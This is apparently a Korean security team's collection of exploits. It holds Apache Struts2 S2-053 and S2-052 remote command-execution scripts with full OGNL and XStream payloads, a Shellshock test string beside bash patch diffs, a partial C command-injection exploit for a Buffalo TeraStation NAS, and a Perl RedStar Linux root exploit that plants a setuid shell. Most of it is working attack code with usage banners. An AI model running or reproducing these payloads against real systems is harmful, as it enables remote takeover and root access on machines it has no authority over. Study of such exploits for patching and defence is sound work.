TEAMCR@K

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}

# -*- coding:utf-8 -*-

import sys

import requests

from urllib import quote

def exploit(url,cmd):

    payload = "%{"

    payload += "(#_='multipart/form-data')."

    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

    payload += "(#_memberAccess?"

    payload += "(#_memberAccess=#dm):"

    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

    payload += "(#ognlUtil.getExcludedPackageNames().clear())."

    payload += "(#ognlUtil.getExcludedClasses().clear())."

    payload += "(#context.setMemberAccess(#dm))))."

    payload += "(#cmd='%s')." % cmd

    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

    payload += "(#p.redirectErrorStream(true))."

    payload += "(#process=#p.start())."

    payload += "(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}."

    payload += "}"

    data={

        "name" : payload,

        }

    print(data)

if __name__ == "__main__":

    if len(sys.argv)!= 3:

           print "Usage S2-053.py <url> <cmd>" %(sys.argv[0])

           sys.exit(0)

    print "[*] exploit Apache Struts2 S2-053"

    url = sys.argv[1]

    cmd = sys.argv[2]

    exploit(url, cmd)

import requests

import sys

def exploit(url, cmd):

    url = url

    cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])

    payload = """

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        {0}

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer/>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

""".format(cmd)

    headers = {

        'Referer': str(url),

        'Content-Type': 'application/xml',

        'Accept': '*/*'

    }

    timeout = 3

    try:

        output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text

    except Exception as e:

        print("@@EXCEPTION:" + str(e))

        output = 'ERROR'

    return(output)

if __name__ == '__main__':

    if len(sys.argv) != 3:

        print "usage:python %s <url> <cmd>"%(sys.argv[0])

        sys.exit(0)

    print "[*] exploit Apache Struts2 S2-052"

    url = sys.argv[1]

    cmd = sys.argv[2]

    print "[*] URL:%s" %url

    print "[*] CMD:%s" %cmd

    exploit(url, cmd)

* 공통 사항: 취약한 bash 버전의 쉘을 사용하고 있어야 함

1. 파싱 오류로 인한 보안 취약점 노출: 특정 프로세스를 생성하는 등의 행위를 하는 모듈이 동작해야 함 (Ex: Enabled CGI module on the apache web server)

2. 메모리 실행 오류로 인한 보안 취약점 노출: 위의 공통 사항과 동일

Bug-Description:

When bash is parsing a function definition that contains a here-document
delimited by end-of-file (or end-of-string), it leaves the closing delimiter
uninitialized.  This can result in an invalid memory access when the parsed
function is later copied.

*** ../bash-4.3.28/make_cmd.c	2011-12-16 08:08:01.000000000 -0500
--- make_cmd.c	2014-10-02 11:24:23.000000000 -0400
***************
*** 693,696 ****
--- 693,697 ----
    temp->redirector = source;
    temp->redirectee = dest_and_filename;
+   temp->here_doc_eof = 0;
    temp->instruction = instruction;
    temp->flags = 0;
*** ../bash-4.3.28/copy_cmd.c	2009-09-11 16:28:02.000000000 -0400
--- copy_cmd.c	2014-10-02 11:24:23.000000000 -0400
***************
*** 127,131 ****
      case r_reading_until:
      case r_deblank_reading_until:
!       new_redirect->here_doc_eof = savestring (redirect->here_doc_eof);
        /*FALLTHROUGH*/
      case r_reading_string:
--- 127,131 ----
      case r_reading_until:
      case r_deblank_reading_until:
!     new_redirect->here_doc_eof = redirect->here_doc_eof ? savestring (redirect->here_doc_eof) : 0;

Bug-Description:

A combination of nested command substitutions and function importing from
the environment can cause bash to execute code appearing in the environment
variable value following the function definition.

*** ../bash-4.3.29/parse.y	2014-10-01 12:58:43.000000000 -0400
--- parse.y	2014-10-03 14:48:59.000000000 -0400
***************
*** 2539,2542 ****
--- 2539,2552 ----
  }
  
+ char *
+ parser_remaining_input ()
+ {
+   if (shell_input_line == 0)
+     return 0;
+   if (shell_input_line_index < 0 || shell_input_line_index >= shell_input_line_len)
+     return '\0';	/* XXX */
+   return (shell_input_line + shell_input_line_index);
+ }
+ 

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y	2014-07-30 10:14:31.000000000 -0400
--- parse.y	2014-09-25 20:20:21.000000000 -0400
***************
*** 2954,2957 ****
--- 2954,2959 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c	2014-07-30 10:14:32.000000000 -0400
--- y.tab.c	2014-09-25 20:21:48.000000000 -0400
***************
*** 5266,5269 ****
--- 5266,5271 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.

Patch (apply with `patch -p0'):

*** ../bash-4.3-patched/parse.y	2014-09-25 23:02:35.000000000 -0400
--- parse.y	2014-09-29 16:47:03.000000000 -0400
***************
*** 169,172 ****
--- 169,175 ----
  static int reserved_word_acceptable __P((int));
  static int yylex __P((void));
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));
  static int alias_expand_token __P((char *));
  static int time_command_acceptable __P((void));
***************
*** 266,270 ****
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! static REDIRECT *redir_stack[10];
  int need_here_doc;
  
--- 269,275 ----
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! #define HEREDOC_MAX 16
! 
! static REDIRECT *redir_stack[HEREDOC_MAX];
  int need_here_doc;
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));

+ static void

+ push_heredoc (r)
+      REDIRECT *r;
+ {
+   if (need_here_doc >= HEREDOC_MAX)
+     {
+       last_command_exit_value = EX_BADUSAGE;
+       need_here_doc = 0;
+       report_syntax_error (_("maximum here-document count exceeded"));
+       reset_parser ();
+       exit_shell (last_command_exit_value);
+     }
+   redir_stack[need_here_doc++] = r;
+ }
+ 

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.

*** ../bash-4.3-patched/parse.y	2014-09-25 23:02:35.000000000 -0400
--- parse.y	2014-09-29 16:47:03.000000000 -0400
***************
*** 169,172 ****
--- 169,175 ----
  static int reserved_word_acceptable __P((int));
  static int yylex __P((void));
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));
  static int alias_expand_token __P((char *));
  static int time_command_acceptable __P((void));
***************
*** 266,270 ****
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! static REDIRECT *redir_stack[10];
  int need_here_doc;
  
--- 269,275 ----
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! #define HEREDOC_MAX 16
! 
! static REDIRECT *redir_stack[HEREDOC_MAX];
  int need_here_doc;
  
***************
*** 308,312 ****
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST];
  static int word_top = -1;
  
--- 313,317 ----
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST+1];
  static int word_top = -1;
  

! #line 785 "/usr/src/local/chet/src/bash/bash-4.3.28/parse.y"
      {
  			  (yyval.command) = make_for_command ((yyvsp[(2) - (6)].word), add_string_to_list ("\"$@\"", (WORD_LIST *)NULL), (yyvsp[(5) - (6)].command), word_lineno[word_top]);
***************
*** 2707,2711 ****

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

env x='() { : ; } ; echo vulnerable'

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <getopt.h>

#include <netdb.h>

#include <sys/socket.h>

#define PROT_NAME "jsonrpc"

#define PROT_VER "2.0"

#define BANNER \

"  - Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit -\n\n"\

"  Author: TeamCR@K in A3Security\n"\

"  Date: 22/02/2013\n\n"

const char *crlf = "\x0D\x0A\x0D\x0A";

char cookie[1024] = "Cookie: lang=ko;";

>>-- snip --<<

printf(

"[*] Target: %s\n"

"[*] User ID: %s\n"

"[*] User Password: %s\n", target, id, pw);

printf("[+] Login to NAS server..... ");

if((sid = do_login(target, id, pw)) == NULL) {

goto failed;

}

printf(

"ok!\n"

"[*] Session ID: %s\n", sid);

snprintf(cookie + strlen(cookie), sizeof(cookie) - strlen(cookie), 

" username=%s; sid=%s;", id, sid);

printf("[+] Injecting commands.\n");

>>-- snip --<<

int cmd_inject(const char *target, const char *cmd, const char *sid)

{

int i = 0, s = 0, n = 0, retry = 3, executed = -1, isdone = 0;

struct sockaddr_in addr;

char *ptr = NULL;

char postdata[4096];

char sendpkt[8192], recvpkt[1024];

unsigned char jobid[128];

// ***** Sending a command

snprintf(postdata, sizeof(postdata),  

"{"

"\"%s\":\"%s\","

"\"method\":\"network.ping\","

"\"params\":{\"ipaddress\":\"%s%s\",\"sid\":\"%s\"},"

"\"id\":\"1361425584418\""

"}", PROT_NAME, PROT_VER, target, cmd, sid);

snprintf(sendpkt, sizeof(sendpkt), 

HEADER, cookie, strlen(postdata), postdata);

if((s = socket_set(target, &addr, 80)) < 0) {

goto failed;

}

if(send(s, sendpkt, strlen(sendpkt), 0) < 0) {

printf("[!] send() error\n");

goto failed;

}

if(strip_header(s) != 200) {

printf("[!] Illegal HTTP header\n");

goto failed;

}

n = recv(s, recvpkt, sizeof(recvpkt) - 1, 0);

recvpkt[n] = '\0';

if((ptr = strstr(recvpkt, "jobid")) == NULL) {

printf("[!] Can't allocate job-id.\n");

goto failed;

}

close(s); s = 0;

ptr += 8;

n = 0;

while(*ptr != '}') {

jobid[n++] = *(unsigned char *)ptr;

ptr++;

}

jobid[n++] = '\0';

// ***** Check command result

snprintf(postdata, sizeof(postdata),  

>>-- snip --<<

1. Compile 된 바이너리 파일이므로, 문제가 되는 부분을 무력화 시키면서 Padding과 같은 작업을 가미합니다.

2. 포멧스트링 "%s"에 대해 악의적인 문자열로 조작하지 못하도록 "%c" 내지는 "%d"와 같은 출력포멧으로 변경합니다. 

1. 악의적인 라이브러리 파일 생성

2. 해당 악의적인 라이브러리 파일의 내용과 실제 존재하는 라이브러리 파일의 내용을 치환

3. root권한의 suid bit가 설정되어 있으며, 악의적인 내용의 라이브러리 파일을 참조하는 프로그램을 실행

4. 관리자 권한 획득

#!/usr/bin/perl

#

use Fcntl ":mode";

use IO::Handle;

my $banner = "RedStar 2.0 Linux (N.Korea) root exploit";

my $shellname = "/tmp/sh";

my @cfiles = ($target, $suidfile, "/usr/bin/bzip2");

my @perms = (S_IWOTH, S_ISUID, S_IXOTH);

my $bz2bin = 

"\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x91\x83\xB7\xAB\x00\x04".

-- > snip <--

my $success = 0;

for($i = 0; $i < 60; $i++) {

print ".";

flush STDOUT;

if(($ret = permcheck($shellname, S_ISUID)) == 0) {

print "\n[*] Exploit successfully!\n";

$success = 1;

sleep 1;

system($shellname);

last;

}

sleep 1;

}

if($success == 0) {

print "\n[!] Exploit failed.\n";

}

cleanup:

print "[*] Cleanup!\n";

unlink($backupfile);

unlink($evil_bin);

if($success == 1) {

print "[*] A ROOT SHELL IS '$shellname'. DELETE IT YOURSELF!\n";

}

exit(0);